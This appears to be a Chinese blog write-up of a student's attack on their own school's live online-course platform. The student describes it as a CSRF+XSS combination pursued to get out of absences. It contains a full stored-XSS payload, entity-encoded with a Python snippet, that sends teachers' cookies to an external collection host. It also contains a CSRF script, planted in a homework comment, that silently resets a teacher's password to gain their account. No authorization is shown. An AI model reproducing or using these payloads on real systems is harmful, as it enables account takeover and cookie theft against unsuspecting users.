Csrf+Xss組合拳


本文首發於“合天智匯”公眾號,作者: 影子
各位大師傅,第一次在合天發文章,請多多關照
今年年初的疫情確實有點突然,打亂了上半年的所有計划(本來是校內大佬帶我拿獎的時刻,沒了
,學長畢業了,就剩下我這個小垃圾帶着下一屆去搞ctf了,難啊,難啊)
  • 0x01
這個站是我疫情時候在線上網課的平台,本着對信息安全做貢獻的目的下去做的這個滲透工作(咳咳,這個平台有個簽到,每次簽到我都在與大腦作斗爭,最后爭不過大腦,選擇了睡覺,最后曠課太多,不搞要掛科。)
  • 0x02
這個站簡單的先用手機看了下,這種網課站我感覺xss比較好尋找一些,所以我找到的都是一些存儲型xss,
先看一下第一個基本沒鳥用的xss
用戶個人資料處
更改姓名
Payload為<script>alert()</script>
(這個地方字數有限制,最長為24個字符)
保存,刷新頁面
成功顯示彈窗 經測試
1.學號
2.身份
3.學校
4.姓名處均存在存儲型xss並能夠彈窗
確實這個地方感覺確實沒什么用,字數有限制,頂多就是在老師打開頁面的時候彈出一個彈框,沒鳥用啊,回頭想想自己曠課的次數,md,拼了
  • 0x03
發布新話題
測試發現
將上面全部代碼進行復制
在下面編輯框中進行黏貼,直接解析為html
內容處可以執行html代碼
測試發布時
發布后訪問此話題
成功xss
進行下一步測試
進行獲取cookies
在<script src=””>
這個payload無法執行
不知道是服務器問題還是什么
換用其他payload
in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};"
 
output = ""
 
for c in in_str:
    output += "&#" + str(ord(c))
 
print("<svg><script>eval("" + output + "")</script>")
payload為
在進行測試
<svg><script>eval("(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};")</script>
 
 
看看xss平台
 
 
成功獲取
也可以使用其他的利用方法
 
跳轉釣魚網站
在頁面內這是html表單進行釣魚
或者js掛馬等等
嚴重程度
中危
But。。
部分Cookeis設置了http-only,拿不到老師的全部cookie。
  • 0x04
繼續測試
更改密碼處沒有驗證原先密碼
根據前面找到的xss構建payload
 
```
<script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script>
<script> 

function loginSubmit() {
        $.ajax({
            url: "https://www.xxxxxxxx.com/UserApi/updatePassword", 
            type: "post",
            data: {"newpassword": "123456789"},
            dataType: "json",
            success: function (data) {
                if (data.status == "1") {    
                    
                } else {

                }
            },
        });
    }
loginSubmit()
</script> 
```

 

那么要去受害者要有興趣去訪問這個payload
作業處,受害者(例如老師,獲取更大權限)老師要去更改作業
找到在作業留言處存在存儲型xss
在此處插入payload
查看效果
現在密碼為123456789
登錄正常
將payload的密碼改為123456789.
我用的手機端(pc端似乎要抓包,懶)
 
提交成功
教師端進入批閱
老師的管理界面
教師端進入批閱
抓包看到
訪問時,直接更新了密碼
退出
密碼為12345679時錯誤
密碼為123456789.時成功
更改密碼處存在csrf
聯想到剛剛的存儲型xss,
一個csrf+xss的組合拳漏洞
  • 0x05
最后到底有沒有拿到老師權限呢
 
 
最高星星數6個
怕被發現。
真帶勁
哈哈
搞完手工,打包提交,以上漏洞至今為止已修復。
聲明:作者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關。
實驗推薦
DoraBox之CSRF
https://www.hetianlab.com/expc.do?ec=ECID6f07-3348-4d8f-90a1-2b399f28378b
(通過DoraBox靶場系列闖關練習,理解跨站請求偽造漏洞的原理與利用過程。)
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM